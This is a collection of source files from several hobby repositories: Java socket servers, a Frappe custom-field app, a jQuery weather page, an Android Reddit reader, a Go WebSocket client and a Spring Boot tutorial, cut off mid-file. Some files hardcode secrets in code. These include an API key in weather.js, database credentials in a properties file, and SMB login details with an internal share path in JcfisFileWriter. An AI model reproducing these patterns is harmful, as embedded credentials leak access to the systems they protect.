<file_sep>Server ====== assorted collection of simple servers written in java for fun<file_sep>package org.skyblue.server; import java.io.BufferedReader; import java.io.InputStreamReader; import java.io.OutputStream; import java.net.ServerSocket; import java.net.Socket; import java.util.HashMap; import java.util.Map; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; public class CachingServer { static final int port = 5555; static Map<String, String> cache = new HashMap<String, String>(); static class CacheServerContext { public final Map<String, String> cache; public final String commandLine; public OutputStream outputStream; public CacheServerContext(Map<String, String> cache, String commandLine, OutputStream outputStream) { this.cache = cache; this.commandLine = commandLine; this.outputStream = outputStream; } } static class CacheHandler implements Runnable { final Socket clientSocket; CacheHandler(Socket clientSocket) { this.clientSocket = clientSocket; } public void run() { try { final BufferedReader br = new BufferedReader(new InputStreamReader(clientSocket.getInputStream())); final OutputStream outStream = clientSocket.getOutputStream(); outStream.write("Ready..\n".getBytes()); String cmd; do { cmd = br.readLine().replace("\n", ""); final CacheServerContext cacheServerContext = new CacheServerContext(cache, cmd, outStream); try { if (cmd.startsWith("put")) { ServerUtils.handlePutCommand(cacheServerContext); } else if (cmd.startsWith("get")) { ServerUtils.handleGetCommand(cacheServerContext); } } catch (IllegalArgumentException e) { outStream.write("Sorry - unknown command\n".getBytes()); } } while (!cmd.equals("quit")); clientSocket.close(); } catch (Exception e) { System.out.println("Exception caught " + e.getMessage()); } } } public static void main(String[] args) { System.out.println("Starting server on " + port); ExecutorService executor = Executors.newFixedThreadPool(20); try { ServerSocket ss = new ServerSocket(port); while (true) { Socket client = ss.accept(); executor.execute(new CacheHandler(client)); } } catch (Exception e) { System.out.println("Exception caught " + e.getMessage()); } } } <file_sep>apply plugin: 'java' apply plugin: 'idea' repositories { mavenCentral() } dependencies { implementation "joda-time:joda-time:2.2" implementation "org.clojure:clojure:1.5.1" implementation "org.clojure:core.async:0.1.338.0-5c5012-alpha" } <file_sep>package org.skyblue.server; import java.net.ServerSocket; import java.net.Socket; import java.io.BufferedReader; import java.io.InputStreamReader; import java.io.OutputStream; import java.lang.Runnable; import java.util.List; import java.util.ArrayList; import java.util.Map; import java.util.HashMap; public class EchoServer { static final int port = 4444; static final List<String> USERS = new ArrayList<String>(); static { USERS.add("manali"); USERS.add("amit"); USERS.add("vyom"); } static Map<String, OutputStream> userStreams = new HashMap<String, OutputStream>(); static class EchoService implements Runnable { final Socket clientSocket; EchoService(Socket clientSocket) { this.clientSocket = clientSocket; } public void run() { try { final BufferedReader br = new BufferedReader(new InputStreamReader(clientSocket.getInputStream())); final OutputStream outStream = clientSocket.getOutputStream(); outStream.write("Login: ".getBytes()); final String userName = br.readLine(); if (USERS.contains(userName.toLowerCase())) { synchronized(EchoServer.class) { userStreams.put(userName.toLowerCase(), outStream); } final String welcomeStr = "Welcome " + userName + "\n"; outStream.write(welcomeStr.getBytes()); String line = null; do { line = br.readLine(); line = line.replace("\n",""); if (line.contains("@")) { String [] parts = line.split(" "); String posting = userName + ": "; String talkingToUser = null; for (String part : parts) { if (part.contains("@")) { talkingToUser = part.replace("@",""); } else { posting += part + " "; } } posting += "\n"; if (talkingToUser != null) { OutputStream otherUserStream = null; synchronized(EchoServer.class) { otherUserStream = userStreams.get(talkingToUser); } if (otherUserStream != null) { otherUserStream.write(posting.getBytes()); } else { final String notice = talkingToUser + " is not online\n"; outStream.write(notice.getBytes()); } } } System.out.println("Client Said " + line); } while (line != null && ! line.equals("quit")); System.out.println("Connection closing with client"); outStream.write("Good buy".getBytes()); synchronized(EchoServer.class) { userStreams.remove(userName.toLowerCase()); } } else { outStream.write("Invalid User\n".getBytes()); } clientSocket.close(); } catch(Exception e) { System.out.println("Exception caught " + e.getMessage()); } } } public static void main(String [] args) { System.out.println("Starting server on " + port); try { ServerSocket ss = new ServerSocket(port); while (true) { Socket client = ss.accept(); new Thread(new EchoService(client)).start(); } } catch(Exception e) { System.out.println("Exception caught " + e.getMessage()); } } } <file_sep>package org.skyblue.server; import javax.management.MBeanServer; import javax.management.ObjectName; import java.lang.management.ManagementFactory; import java.net.DatagramPacket; import java.net.DatagramSocket; import java.util.logging.Level; import java.util.logging.Logger; public class UDPServer { private static Logger logger = Logger.getLogger(UDPServer.class.getName()); private volatile boolean keepRunning; public void run() throws Exception { final MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer(); PacketMetricsMBean packetMetricsMBean = new PacketMetrics(); ObjectName objectName = new ObjectName("org.skyblue.server:name=udp-packets"); platformMBeanServer.registerMBean(packetMetricsMBean, objectName); DatagramSocket datagramSocket = new DatagramSocket(5555); byte[] buf = new byte[256]; keepRunning = true; while (keepRunning) { DatagramPacket datagramPacket = new DatagramPacket(buf, buf.length); datagramSocket.receive(datagramPacket); logger.log(Level.INFO, "Data received " + new String(buf)); incrementPacketCount(packetMetricsMBean); } datagramSocket.close(); } public void setKeepRunning(boolean keepRunning) { this.keepRunning = keepRunning; } private void incrementPacketCount(PacketMetricsMBean packetMetricsMBean) { packetMetricsMBean.setNumOfPackets(packetMetricsMBean.getNumOfPackets() + 1); } public static void main(String[] args) { UDPServer udpServer = new UDPServer(); try { udpServer.run(); } catch (Exception e) { logger.log(Level.SEVERE, "UDPServer exception, shutting down due to ", e); } } }
e6ebc2a5e97b6e7c7df50eb148f4fe7714fc540a
[ "Markdown", "Java", "Gradle" ]
5
Markdown
amit-git/Server
eb7239e04532f1c03695928f19875c749a1d78d1
947f0209c6fbb83f0f9ba9152d492d899ceec7f7
refs/heads/master
<file_sep>## Frappe Flavors Awesome Flavors for Frappe Developers ### Motivation I'm a developer and some times, I wold love have some resources focused in my use these features include - :+1: Custom Field Templates - [ ] Configurable Add-Fetches (instead of the actual schema using code) - [ ] Configurable Filters for links (instead of the actual schema using code) - [ ] Configurable depends on for docfields (instead of the actual schema using code) For now only the Custom Field Templates are ready, I would love see your contribution. ![Custom Field Template](https://raw.githubusercontent.com/mxmo-co/frappe_flavors/master/docs/Custom%20Field%20Templates.png) #### License MIT <file_sep># -*- coding: utf-8 -*- # Copyright (c) 2015, MaxMorais and contributors # For license information, please see license.txt from __future__ import unicode_literals import frappe from frappe.utils import cstr from frappe import _ from frappe.model.document import Document class CustomFieldTemplate(Document): def autoname(self): self.set_fieldname() self.name = "{}-{}".format(self.module, self.fieldname) def validate(self): self.validate_table_has_rows('positions') def set_fieldname(self): if not self.fieldname: if not self.label: frappe.throw(_("Label is Mandatory")) # remove special characters from fieldname self.fieldname = filter(lambda x: x.isdigit() or x.isalpha() or '_', cstr(self.label).lower().replace(' ', '_')) def on_update(self): self.create_custom_fields() def create_custom_fields(self): template = self.as_dict() for d in self.positions: cf = d.as_dict() cf.update(template) for f in ['doctype', 'name']: cf.pop(f) cf.update({ 'doctype': "Custom Field", 'fieldname': make_fieldname(d.dt, self.fieldname) }) ref = create_or_update_custom_field(d.dt, cf) frappe.db.set_value("Custom Field Template Position", d.name, "fieldname", cf["fieldname"]) frappe.db.set_value("Custom Field Template Position", d.name, "custom_field", ref) def make_fieldname(dt, fieldname): return filter(lambda x: x.isdigit() or x.isalpha() or '_', cstr(' '.join([dt, fieldname])).lower().replace(' ', '_')) @frappe.whitelist() def get_fields_label(doctype=None): return [{'value': df.fieldname or '', 'label': _(df.label) or ''} for df in frappe.get_meta(doctype).get('fields')] def create_or_update_custom_field(doctype, df): cf = frappe.db.get_value("Custom Field", {"dt": doctype, "fieldname": df.fieldname}) if not cf: doc = frappe.new_doc("Custom Field") else: doc = frappe.get_doc("Custom Field", cf["name"]) doc.update(df) doc.save() return doc.name<file_sep>cur_frm.cscript.has_special_chars = function(t) { var iChars = "!@#$%^&*()+=-[]\\\';,./{}|\":<>?"; for (var i = 0; i < t.length; i++) { if (iChars.indexOf(t.charAt(i)) != -1) { return true; } } return false; } cur_frm.cscript.setup_dt = function(frm, cdt, cdn){ var dt = frappe.utils.filter_dict(cur_frm.fields_dict.positions.grid.grid_rows_by_docname[cdn].docfields, {'fieldname': 'dt'})[0]; dt.get_query = function(doc, cdt, cdn){ filters = [ ['DocType', 'issingle', '=', 0] ] if (user!=='Administrator'){ filters.push(['DocType', 'module', '!=', 'Core']) } return filters; } dt.hidden = frm.doc.__islocal; dt.reqd = !frm.doc.__islocal; cur_frm.fields_dict.positions.grid.grid_rows_by_docname[cdn].fields_dict.dt.refresh(); } frappe.ui.form.on("Custom Field Template", "label", function(frm, cdt, cdn){ if(frm.doc.label && frm.cscript.has_special_chars(frm.doc.label)){ frm.fields_dict['label_help'].disp_area.innerHTML = '<font color = "red">Special Characters are not allowed</font>'; frm.doc.label = ''; refresh_field('label'); } else frm.fields_dict['label_help'].disp_area.innerHTML = ''; }); frappe.ui.form.on("Custom Field Template", "fieldtype", function(frm, cdt, cdn){ if(frm.doc.fieldtype == 'Link') { frm.fields_dict['options_help'].disp_area.innerHTML = __('Name of the Document Type (DocType) you want this field to be linked to. e.g. Customer'); } else if(frm.doc.fieldtype == 'Select') { frm.fields_dict['options_help'].disp_area.innerHTML = __('Options for select. Each option on a new line.')+' '+__('e.g.:')+'<br>'+__('Option 1')+'<br>'+__('Option 2')+'<br>'+__('Option 3')+'<br>'; } else if(frm.doc.fieldtype == 'Dynamic Link') { frm.fields_dict['options_help'].disp_area.innerHTML = __('Fieldname which will be the DocType for this link field.'); } else { frm.fields_dict['options_help'].disp_area.innerHTML = ''; } }); frappe.ui.form.on("Custom Field Template Position", "form_render", function(frm, cdt, cdn){ var field = frappe.utils.filter_dict(frm.fields_dict.positions.grid.grid_rows_by_docname[cdn].docfields, {'fieldname': 'dt'})[0]; field.read_only = !frm.doc.__islocal; frm.fields_dict.positions.grid.grid_rows_by_docname[cdn].fields_dict.dt.refresh(); }); frappe.ui.form.on("Custom Field Template Position", "dt", function(frm, cdt, cdn){ var d = locals[cdt][cdn]; if (!d.dt){ frappe.model.set_value(cdt, cdn, 'insert_after', ''); } var insert_after = frm.doc.insert_after || null; return frappe.call({ 'method': 'frappe_flavors.frappe_flavors.doctype.custom_field_template.custom_field_template.get_fields_label', 'args': {'doctype': d.dt}, 'callback': function(r, rt){ var field = frappe.utils.filter_dict(frm.fields_dict.positions.grid.grid_rows_by_docname[cdn].docfields, {'fieldname': 'insert_after'})[0]; field.options = r.message; var fieldnames = $.map(r.message, function(v) { return v.value; }); if (insert_after == null || !in_list(fieldnames, insert_after)){ insert_after = fieldnames[-1]; } frappe.model.set_value(cdt, cdn, 'insert_after', insert_after); frm.fields_dict.positions.grid.grid_rows_by_docname[cdn].fields_dict.insert_after.refresh(); } }); });
54c4dace6d0f8a6a280647182425479a9435e481
[ "Markdown", "Python", "JavaScript" ]
3
Markdown
Athenolabs/frappe_flavours
b0b1db57ef88c9ee412a9b1f7cb181c37518ac25
56927b80a93c58e4751665525adc8a81c7c7f73f
refs/heads/master
<repo_name>tiffany-neel/Weather-Forecast<file_sep>/README.md # Weather-Forecast ![adsiz](https://user-images.githubusercontent.com/43685404/53693804-5fac9980-3db6-11e9-8694-8baf272ddb28.png) * In this project i used ajax() method in jquery. ## JQuery Ajax Method(Usage of Ajax Methods) ## * I attached a easy usage of ajax method under below. And likewise i used the codes under below in this project. ![adsiz](https://user-images.githubusercontent.com/43685404/53694014-79031500-3db9-11e9-909f-a18368292c4b.png) <file_sep>/Weather Forecast/weather.js $(document).ready(function() { $('#submitWeather').click(function() { //variables let city = $("#city").val(); let city2 = $("#city2"); let celsius = $("#celsius"); let cases = $("#cases"); let date = new Date(); $("#div1").css("border","2px solid black"); if(city != "") { $.ajax({ //for celsius i used metric system of temperature url: 'http://api.openweathermap.org/data/2.5/find?q=' + city + "&units=metric" + "&appid=e0523e190398e4bc66293fbf167feaff", type: "GET", //i took api with GET dataType: "jsonp", success: function(data) { //i checked the city name is exist or not try { $("#show").show(); console.log(data); city2.html("<h3>Weather in " + city.toUpperCase() + "<p>") celsius.html('<h4>' + data.list[0].main["temp"] + " °C<p></h4>"); cases.html('<h4> Case: ' + data.list[0].weather[0].main + "</h4> Temperature Min: " + data.list[0].main.temp_min + " / Temperature Max: " + data.list[0].main.temp_max); $("#date").html("<h4>Your Locale Hour : </h4>" + date); city = ""; $("hr").css("visibility","visible"); $("#show").css("border","2px solid black"); } //if city name doesn't true this catch block will be executed catch(error) { alert("Please check the city name!"); $("#show").hide(); $("hr").css("visibility","hidden"); } } }); } //if textbox is empty this block will be executed and will get alert else { alert("Field cannot be empty"); } }); });
46766d92901e5c943d7e90defd76acbab41f0930
[ "Markdown", "JavaScript" ]
2
Markdown
tiffany-neel/Weather-Forecast
7e5f9c46ebaf74e74d200c042e9f440dabb5d06b
1dd4560cbd65e514ca53850c919e9402b6412ab6
refs/heads/main
<repo_name>TevinH14/JAVA2_CE01<file_sep>/HamiltonTevin_CE01/app/src/main/java/com/example/hamltontevin_ce01/MainActivity.java package com.example.hamltontevin_ce01; import androidx.appcompat.app.AppCompatActivity; import android.os.Bundle; import android.view.View; import android.widget.AdapterView; import android.widget.ArrayAdapter; import android.widget.Spinner; import android.widget.Toast; import com.example.hamltontevin_ce01.fragment.PostListFragment; import com.example.hamltontevin_ce01.model.RedditPost; import com.example.hamltontevin_ce01.network.NetworkTask; import com.example.hamltontevin_ce01.network.NetworkUtils; import java.util.ArrayList; import java.util.HashMap; import fileStorage.RedditFile; public class MainActivity extends AppCompatActivity implements AdapterView.OnItemSelectedListener, NetworkTask.OnFinished { private static final String ARMA3_API ="https://www.reddit.com/r/arma3/hot.json"; private static final String IPHONE_API = "https://www.reddit.com/r/iphone/hot.json"; private static final String ANDROID_API = "https://www.reddit.com/r/android/hot.json"; private static final String XBOX_API = "https://www.reddit.com/r/xbox/hot.json"; private static final String PLAYSTAION_API = "https://www.reddit.com/r/playstation/hot.json"; private static final String APP_API = "https://www.reddit.com/r/apps/hot.json"; private static final String MOVIES_API = "https://www.reddit.com/r/movies/hot.json"; private String[] peopleArray; //private boolean internetStatus = true; private boolean fragmentAdded = false; private String currentSubReddit = null; private RedditFile mRedditFile = null; private HashMap<String,ArrayList<RedditPost>> redditHashMap = null; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); redditHashMap = new HashMap<>(); checkInternet(); populateSpinner(); //create a new reddit fiel to be able to save and load data mRedditFile = new RedditFile(this); // load in the first sub reddit into the the app userSelection(0); } // used to allow user to select what api they would like to view. //spinner selection. @Override public void onItemSelected(AdapterView<?> adapterView, View view, int pos, long l) { currentSubReddit = peopleArray[pos]; if(!redditHashMap.containsKey(currentSubReddit)){ userSelection(pos); } else{ updateFragment(redditHashMap.get(currentSubReddit)); } } @Override public void onNothingSelected(AdapterView<?> adapterView) { } //after retrieving data update the fragment , add the data to a HashMap then save the data @Override public void OnPost(ArrayList<RedditPost> redditPosts) { updateFragment(redditPosts); redditHashMap.put(currentSubReddit,redditPosts); mRedditFile.SaveData(redditHashMap.get(currentSubReddit),currentSubReddit); } //populate spinner with a string-array resource and array adapter to populate. private void populateSpinner(){ Spinner mainSpinner = findViewById(R.id.spinner_api); mainSpinner.setOnItemSelectedListener(this); createSpinnerItems(); ArrayAdapter<String> arrayAdapter = new ArrayAdapter<>(this, R.layout.support_simple_spinner_dropdown_item,peopleArray); arrayAdapter.setDropDownViewResource(R.layout.support_simple_spinner_dropdown_item); mainSpinner.setAdapter(arrayAdapter); } // start an background task to be able download sub Reddit data. private void StartTask(String url){ NetworkTask task = new NetworkTask(this); task.execute(url); } //check if devices is connected to the internet if not alert the user of internet access issue private boolean checkInternet(){ boolean status = NetworkUtils.isConnected(this); if(!status){ Toast.makeText(this,R.string.connection_needed,Toast.LENGTH_SHORT).show(); //internetStatus = false; } return status; } private void updateFragment(ArrayList<RedditPost> redditPosts){ if(!fragmentAdded) { getSupportFragmentManager().beginTransaction().add(R.id.fragmentListViewContainer_frameLayout, PostListFragment.newInstance(null)).commit(); fragmentAdded = true; } else { getSupportFragmentManager().beginTransaction().replace(R.id.fragmentListViewContainer_frameLayout, PostListFragment.newInstance(redditPosts)).commit(); } } private void createSpinnerItems(){ //create an array to capture resource peopleArray = getResources().getStringArray(R.array.apiNames); currentSubReddit = peopleArray[0]; } private void userSelection(int pos){ if(checkInternet()){ switch (pos) { case 0: StartTask(ARMA3_API); break; case 1: StartTask(IPHONE_API); break; case 2: StartTask(ANDROID_API); break; case 3: StartTask(XBOX_API); break; case 4: StartTask(PLAYSTAION_API); break; case 5: StartTask(APP_API); break; case 6: StartTask(MOVIES_API); break; } }else{ ArrayList<RedditPost> rp = mRedditFile.LoadData(currentSubReddit); if (rp != null && rp.size() > 0){ redditHashMap.put(currentSubReddit,rp); updateFragment(rp); }else{ updateFragment(null); } } } } <file_sep>/HamiltonTevin_CE01/app/src/main/java/com/example/hamltontevin_ce01/fragment/PostListFragment.java package com.example.hamltontevin_ce01.fragment; import android.os.Bundle; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import androidx.annotation.NonNull; import androidx.annotation.Nullable; import androidx.fragment.app.ListFragment; import com.example.hamltontevin_ce01.R; import com.example.hamltontevin_ce01.adapter.RedditAdapter; import com.example.hamltontevin_ce01.model.RedditPost; import java.util.ArrayList; public class PostListFragment extends ListFragment { private static ArrayList<RedditPost> mRedditPostArray; public PostListFragment() { } public static PostListFragment newInstance(ArrayList<RedditPost> redditPosts) { Bundle args = new Bundle(); mRedditPostArray =redditPosts; PostListFragment fragment = new PostListFragment(); fragment.setArguments(args); return fragment; } @Nullable @Override public View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) { return inflater.inflate(R.layout.fragment_reddit_display_layout,container,false); } @Override public void onActivityCreated(@Nullable Bundle savedInstanceState) { super.onActivityCreated(savedInstanceState); if( mRedditPostArray != null && mRedditPostArray.size() > 0){ RedditAdapter ra = new RedditAdapter(getContext(),mRedditPostArray); setListAdapter(ra); } } } <file_sep>/HamiltonTevin_CE01/app/src/main/java/fileStorage/RedditFile.java package fileStorage; import android.content.Context; import com.example.hamltontevin_ce01.model.RedditPost; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.util.ArrayList; public class RedditFile { private static final String FILE_TYPE = ".ser"; private Context mContext; public RedditFile(Context mContext) { this.mContext = mContext; } public ArrayList<RedditPost> LoadData(String currentSubReddit){ ArrayList rd = new ArrayList<>(); File file = mContext.getFileStreamPath(currentSubReddit+FILE_TYPE); if(file.exists()){ try { FileInputStream fis = mContext.openFileInput(currentSubReddit + FILE_TYPE); ObjectInputStream ois = new ObjectInputStream(fis); Object object = ois.readObject(); rd = ((ArrayList)object); ois.close(); } catch (IOException | ClassNotFoundException e) { e.printStackTrace(); } }else { return null; } return rd; } public void SaveData(ArrayList<RedditPost> saveRedditPost, String currentSubReddit){ if(mContext != null) { File file = mContext.getFileStreamPath(currentSubReddit + FILE_TYPE); if (saveRedditPost != null) { if (!file.exists() && saveRedditPost.size() > 0) { try { FileOutputStream fos = mContext.openFileOutput(currentSubReddit + FILE_TYPE, Context.MODE_PRIVATE); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(saveRedditPost); fos.close(); } catch (IOException e) { e.printStackTrace(); } } } } } } <file_sep>/HamiltonTevin_CE01/settings.gradle include ':app' rootProject.name='HamltonTevin_CE01' <file_sep>/README.md # JAVA2_CE01 Code Exercise 01: Offline API Storage
af5d1139f5f6803c65292ed222040838049fe73b
[ "Markdown", "Java", "Gradle" ]
5
Java
TevinH14/JAVA2_CE01
46a012ebc8b75b37ef78ce882ea9da7ddc684d6e
27d666899fc5b0b0564b9150f2521529ada06ca6
refs/heads/master
<repo_name>Pier39W/claws<file_sep>/state.go package main import ( "encoding/json" "errors" "io" "os" "os/exec" "os/user" "strconv" "strings" "time" "github.com/fatih/color" "github.com/jroimartin/gocui" ) var state = &State{ ActionIndex: -1, Settings: &Settings{}, HideHelp: len(os.Args) > 1, } // State is the central function managing the information of claws. type State struct { // important to running the application as a whole ActionIndex int Mode int Writer io.Writer Conn *WebSocket // important for drawing FirstDrawDone bool ShouldQuit bool HideHelp bool KeepAutoscrolling bool // functions ExecuteFunc func(func(*gocui.Gui) error) Settings *Settings } // PushAction adds an action to LastActions func (s *State) PushAction(act string) { s.Settings.LastActions = append([]string{act}, s.Settings.LastActions...) if len(s.Settings.LastActions) > 100 { s.Settings.LastActions = s.Settings.LastActions[:100] } s.Settings.Save() } // BrowseActions changes the ActionIndex and returns the value at the specified index. // move is the number of elements to move (negatives go into more recent history, // 0 returns the current element, positives go into older history) func (s *State) BrowseActions(move int) string { s.ActionIndex += move if s.ActionIndex >= len(s.Settings.LastActions) { s.ActionIndex = len(s.Settings.LastActions) - 1 } else if s.ActionIndex < -1 { s.ActionIndex = -1 } // -1 always indicates the "next" element, thus empty if s.ActionIndex == -1 { return "" } return s.Settings.LastActions[s.ActionIndex] } // StartConnection begins a WebSocket connection to url. func (s *State) StartConnection(url string, args []string) error { if s.Conn != nil { return errors.New("state: conn is not nil") } ws, err := CreateWebSocket(url, args) if err != nil { return err } s.Conn = ws connectionStarted = time.Now() go s.wsReader() return nil } func (s *State) wsReader() { ch := s.Conn.ReadChannel() for msg := range ch { s.Server(msg) } } var ( printDebug = color.New(color.FgCyan).Fprint printError = color.New(color.FgRed).Fprint printUser = color.New(color.FgGreen).Fprint printServer = color.New(color.FgWhite).Fprint ) // Debug prints debug information to the Writer, using light blue. func (s *State) Debug(x string) { s.printToOut(printDebug, x) } // Error prints an error to the Writer, using red. func (s *State) Error(x string) { s.printToOut(printError, x) } // User prints user-provided messages to the Writer, using green. func (s *State) User(x string) { res, err := s.pipe(x, "out", s.Settings.Pipe.Out) if err != nil { s.Error(err.Error()) if res == "" || res == "\n" { return } } s.printToOut(printUser, res) } // Server prints server-returned messages to the Writer, using white. func (s *State) Server(x string) { res, err := s.pipe(x, "in", s.Settings.Pipe.In) if err != nil { s.Error(err.Error()) if res == "" || res == "\n" { return } } if s.Settings.JSONFormatting { res = attemptJSONFormatting(res) } s.printToOut(printServer, res) } var ( sessionStarted = time.Now() connectionStarted time.Time ) func (s *State) pipe(data, t string, command []string) (string, error) { if len(command) < 1 { return data, nil } // prepare the command: create it, set up env variables c := exec.Command(command[0], command[1:]...) c.Env = append( os.Environ(), "CLAWS_PIPE_TYPE="+t, "CLAWS_SESSION="+strconv.FormatInt(sessionStarted.UnixNano()/1000, 10), "CLAWS_CONNECTION="+strconv.FormatInt(connectionStarted.UnixNano()/1000, 10), "CLAWS_WS_URL="+s.Conn.URL(), ) str := data if s.Settings.Timestamp != "" { str = time.Now().Format(s.Settings.Timestamp) + str } if str != "" && str[len(str)-1] != '\n' { str += "\n" } // set up stdin stdin := strings.NewReader(str) c.Stdin = stdin // run the command res, err := c.Output() return string(res), err } func (s *State) printToOut(f func(io.Writer, ...interface{}) (int, error), str string) { if s.Settings.Timestamp != "" { str = time.Now().Format(s.Settings.Timestamp) + str } if str != "" && str[len(str)-1] != '\n' { str += "\n" } s.ExecuteFunc(func(*gocui.Gui) error { _, err := f(s.Writer, str) return err }) } // Settings contains persistent information about the usage of claws. type Settings struct { JSONFormatting bool Timestamp string LastWebsocketURL string LastActions []string Pipe struct { In []string Out []string } } // Load loads settings from ~/.config/claws.json func (s *Settings) Load() error { folder, err := getConfigFolder() if err != nil { return err } f, err := os.Open(folder + "claws.json") if err != nil { // silently ignore ErrNotExist if os.IsNotExist(err) { return nil } return err } defer f.Close() return json.NewDecoder(f).Decode(s) } // Save saves settings to ~/.config/claws.json func (s Settings) Save() error { folder, err := getConfigFolder() if err != nil { return err } f, err := os.Create(folder + "claws.json") if err != nil { return err } defer f.Close() e := json.NewEncoder(f) e.SetIndent("", "\t") return e.Encode(s) } func getConfigFolder() (string, error) { u, err := user.Current() if err != nil { return "", err } folder := u.HomeDir + "/.config/" err = os.MkdirAll(folder, 0755) return folder, err } <file_sep>/main.go package main import ( "fmt" "log" "os" "errors" "github.com/jroimartin/gocui" ) var ( version = "devel" commit = "" ) func main() { g, err := gocui.NewGui(gocui.OutputNormal) if err != nil { log.Panicln(err) } defer g.Close() state.ExecuteFunc = g.Update g.SetManagerFunc(layout) g.Cursor = true g.InputEsc = true if err := g.SetKeybinding("", gocui.KeyCtrlC, gocui.ModNone, quit); err != nil { log.Panicln(err) } if err := g.MainLoop(); err != nil && err != gocui.ErrQuit { log.Panicln(err) } } const welcomeScreen = ` claws %s Awesome WebSocket CLient C-c to quit <ESC>c to write an URL of a websocket and connect <ESC>q to close the websocket <UP>/<DOWN> move through your history https://howl.moe/claws ` func layout(g *gocui.Gui) error { // Set when doing a double-esc if state.ShouldQuit { return gocui.ErrQuit } maxX, maxY := g.Size() if v, err := g.SetView("cmd", 1, maxY-2, maxX, maxY); err != nil { if err != gocui.ErrUnknownView { return err } v.Frame = false v.Editable = true v.Editor = gocui.EditorFunc(editor) v.Clear() } v, err := g.SetView("out", -1, -1, maxX, maxY-2) if err != nil { if err != gocui.ErrUnknownView { return err } v.Wrap = true v.Editor = gocui.EditorFunc(editor) v.Editable = true state.Writer = v } // For more information about KeepAutoscrolling, see Scrolling in editor.go v.Autoscroll = state.Mode != modeEscape || state.KeepAutoscrolling g.Mouse = state.Mode == modeEscape if v, err := g.SetView("help", maxX/2-23, maxY/2-6, maxX/2+23, maxY/2+6); err != nil { if err != gocui.ErrUnknownView { return err } v.Wrap = true v.Title = "Welcome" if version == "devel" && commit != "" { version = commit if len(version) > 5 { version = version[:5] } } v.Write([]byte(fmt.Sprintf(welcomeScreen, version))) } if state.HideHelp { g.SetViewOnTop("out") } else { g.SetViewOnTop("help") } curView := "cmd" if state.Mode == modeEscape { curView = "out" } if _, err := g.SetCurrentView(curView); err != nil { return err } modeBox(g) if !state.FirstDrawDone { go initialise() state.FirstDrawDone = true } return nil } func quit(g *gocui.Gui, v *gocui.View) error { return gocui.ErrQuit } func initialise() { err := state.Settings.Load() if err != nil { state.Error(err.Error()) } if len(os.Args) > 1 && os.Args[1] != "" { state.Settings.LastWebsocketURL = os.Args[1] state.Settings.Save() connect() } } func connect() { cmd := state.Settings.LastWebsocketURL args, err := parseCommandLine(cmd) if err != nil { state.Error(err.Error()) return } if len(args) < 1 { state.Error("at least 1 argument expected") return } if err := state.StartConnection(args[0], args[1:]); err != nil { state.Error(err.Error()) } } func parseCommandLine(command string) ([]string, error) { var args []string state := "start" current := "" quote := "\"" escapeNext := true for i := 0; i < len(command); i++ { c := command[i] if state == "quotes" { if string(c) != quote { current += string(c) } else { args = append(args, current) current = "" state = "start" } continue } if (escapeNext) { current += string(c) escapeNext = false continue } if (c == '\\') { escapeNext = true continue } if c == '"' || c == '\'' { state = "quotes" quote = string(c) continue } if state == "arg" { if c == ' ' || c == '\t' { args = append(args, current) current = "" state = "start" } else { current += string(c) } continue } if c != ' ' && c != '\t' { state = "arg" current += string(c) } } if state == "quotes" { return []string{}, errors.New(fmt.Sprintf("Unclosed quote in command line: %s", command)) } if current != "" { args = append(args, current) } return args, nil }
e54576eeb2f7aff1f25a673089e376885b31df0c
[ "Go" ]
2
Go
Pier39W/claws
2cfd5bf62429543de77c5cf422d058451163a82e
07f0ccd9ae66fd8636f143a668d98f7dca3c7995
refs/heads/master
<file_sep>spring.datasource.driverClassName=org.postgresql.Driver spring.datasource.url=jdbc:postgresql://localhost:5432/postgres spring.datasource.username=postgres spring.datasource.password=<PASSWORD> spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect spring.jpa.generate-ddl=true spring.jpa.show-sql=true spring.jpa.properties.hibernate.jdbc.lob.non_contextual_creation=true spring.jpa.hibernate.ddl-auto=create spring.batch.initialize-schema=never spring.jpa.hibernate.naming.physical-strategy=org.hibernate.boot.model.naming.PhysicalNamingStrategyStandardImpl<file_sep>package nrw.bieker.resthibernatetutorial; import static org.junit.Assert.assertEquals; import org.junit.Test; import org.junit.runner.RunWith; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.test.context.SpringBootTest; import org.springframework.test.context.junit4.SpringRunner; import nrw.bieker.resthibernatetutorial.komponenten.HelloWorldKomponenteI; @RunWith(SpringRunner.class) @SpringBootTest public class HelloWorldKomponenteTest { @Autowired private HelloWorldKomponenteI helloWorldKomponente; @Test public void helloWorldKomponenteTest() throws Exception{ String helloWorld = helloWorldKomponente.helloWorld(); assertEquals("Hello World von der Komponente über Interface", helloWorld); } } <file_sep>package nrw.bieker.resthibernatetutorial.endpunkte; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RestController; import nrw.bieker.resthibernatetutorial.komponenten.HelloWorldKomponenteI; @RestController public class HelloWorldSE { @Autowired protected HelloWorldKomponenteI helloWorldKomponente; @GetMapping(path="/helloworldse") public String helloWorldSE() { return helloWorldKomponente.helloWorld(); } } <file_sep>package nrw.bieker.resthibernatetutorial.io; import org.springframework.stereotype.Component; import jcifs.smb.NtlmPasswordAuthentication; import jcifs.smb.SmbFile; import jcifs.smb.SmbFileOutputStream; @Component public class JcfisFileWriter { public boolean createFileInNetworkFolder() { boolean successful = false; try { NtlmPasswordAuthentication auth = new NtlmPasswordAuthentication("securess","jb","<PASSWORD>!"); String newFileName = "sample.txt"; String fileContent = "Just a Test File"; String path = "smb://10.50.20.18/edv/" + newFileName; SmbFile sFile = new SmbFile(path, auth); SmbFileOutputStream sfos = new SmbFileOutputStream(sFile); sfos.write(fileContent.getBytes()); successful = true; sfos.close(); } catch (Exception e) { successful = false; System.out.println("Problem in Creating New File :" + e); } return successful; } }<file_sep>select * from meineersteentitaet<file_sep>package nrw.bieker.resthibernatetutorial; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertTrue; import java.util.Iterator; import java.util.List; import javax.validation.ConstraintViolation; import 